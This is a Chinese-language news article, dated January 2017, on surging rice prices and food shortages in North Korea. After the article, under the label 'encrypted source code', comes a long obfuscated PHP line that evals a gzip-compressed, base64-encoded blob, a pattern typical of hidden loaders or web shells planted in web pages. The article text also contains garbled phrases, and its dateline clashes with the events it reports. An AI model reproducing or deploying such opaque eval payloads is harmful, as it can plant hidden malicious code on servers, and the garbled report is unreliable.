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January 25, 2017 (KST)
朝鲜当局下令“粮食自己解决”… 粮价暴涨,当局放任自流
消息人士:“国家层面上毫无对策 … 市场交易仍旧疲软”
记者 梁贞儿 &|&
近期,随着朝鲜边境地区粮食价格突破1公斤1000元大关,居民们的粮食状况亮起了红灯。
本月18日,咸镜北道会宁的大米价格为1050元/1kg,两江道惠山为1000元/1kg,新义州为950元/1kg。19日,平壤船桥市场的大米价格也逼近900元/1kg。这一价格与本月1日相比,20天内暴涨了近两倍。
但是朝鲜当局只是在今年5月份向各单位和企业下达指示要求“6-8月为止,各地区、各单位要自己解决粮食问题”,此外没有采取任何国家层面的措施。
平壤内部消息人士说:“早在6月份开始,对小型工厂工人们的粮食配给就已经中断。工人们只能在工厂周边的土地上种植蔬菜和谷物等平分或者亲自到农村购买哪怕便宜几分钱的粮食。
消息人士介绍:“企业土地上收获的粮食配给包括大麦和小麦。”“这些粮食磨成粉后,要么做成面条,要么和着土豆一起吃。但是这些大麦和小麦里面掺着很多沙石,洗掉之后剩不下一半儿。”
但是能够自己解决问题的企业也没几家,对于粮食问题的解决帮助不大。
消息人士还说:“现在还没有听到中央党5月26日发布什么措施的消息。”“粮食价格这样暴涨,市场却仍然在下午7点就关闭。‘插秧战斗’虽然结束,市场交易仍然没有回复活力。”
目前平壤各区域的市场运营情况与11.30货币改革以前相差不大,但是总体交易量明显就爱那个地。消息人士认为,造成这一现象的原因是朝鲜居民整个变得更加贫穷。
朝鲜的主要工厂企业从今年3月份开始就停止了向工人发放薪水。因此货币改革后有所提高的出勤率从今年春天开始又出现大幅度下跌。
19日,平壤外汇市场的汇率为1美元兑换1580朝元,1元人民币兑换195朝元。
朝鲜的粮食价格上涨趋势恐怕还要持续一段时间。短时间内中国等外界的粮食供应尚不明朗,上周席卷朝鲜全境的洪灾早操的损失也开始得到确认,市场对今年粮食收成的反应还将继续冷淡。如果这样,粮食价格的走高趋势将持续到秋收拾起。
消息人士称:“9月份的党代会前,各地宣传人民经济开始复苏。但是老百姓们的生活苦难却日渐严重。”“粮食问题如果得不到解决,人民对党代会的关注程度自然也会大幅降低。”
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加密源码:
eval(gzuncompress(base64_decode(&eJzsffl3G8eR8M/ye/4fRhOuAJggLt6kQIniLfESQVKURD48HAMCIoCBBgMesrX/C6PdxCtrN6JE6qKoi7RJURJFkbTk6DlZX+vE0drZyPlsJ4rzvq4+ZnoGA5BSnOzul4+2SKCP6urq6uqq7upqSVFkJahIGVlRE+lRe7Wj/vXX5HAwq4YU1Q5fSlJqIiUJfkGazCTlqGS3CTankEpEFBky7A5cCJenBUmN494RoZR99oygQvuzkhqEr8FkIpVQ7R6o6XZfXj5/YeWdpTOrCzfvbmytXt1cvPtw8fO5pWs/W/3+zLmL51ZnVqYfvpg+g8q+4bf6ES7eX3/+7mePFwXL7Dfc0Iqwunz5d+u/3ji7+OGdZ4++ePxPTu/aWfiOP7/32b0Xq98/ebx29vHMwubCdyvPXA/vLH7+aPrhV1vP1365/lPUxVA0lUgft0XiUmTMNoL6KXpF3AFh5VdXXxhALz9b/+WVpbnlOwuQpNfNhLJZVBXqRqWUTKovnVt5eOnezaczX6KC8UQ0KqWhQDaUmIICWl00QqTZGo/TW17r9Hmd5eU1teiXp8pZUV5bWeP0VpSXOwnU+989Obu5OLe0yDV/IpfKZKWInI4a8G9VM++9t/AJlL59bmETcIE6SWkyBKXSFE8g4MOt1Rs;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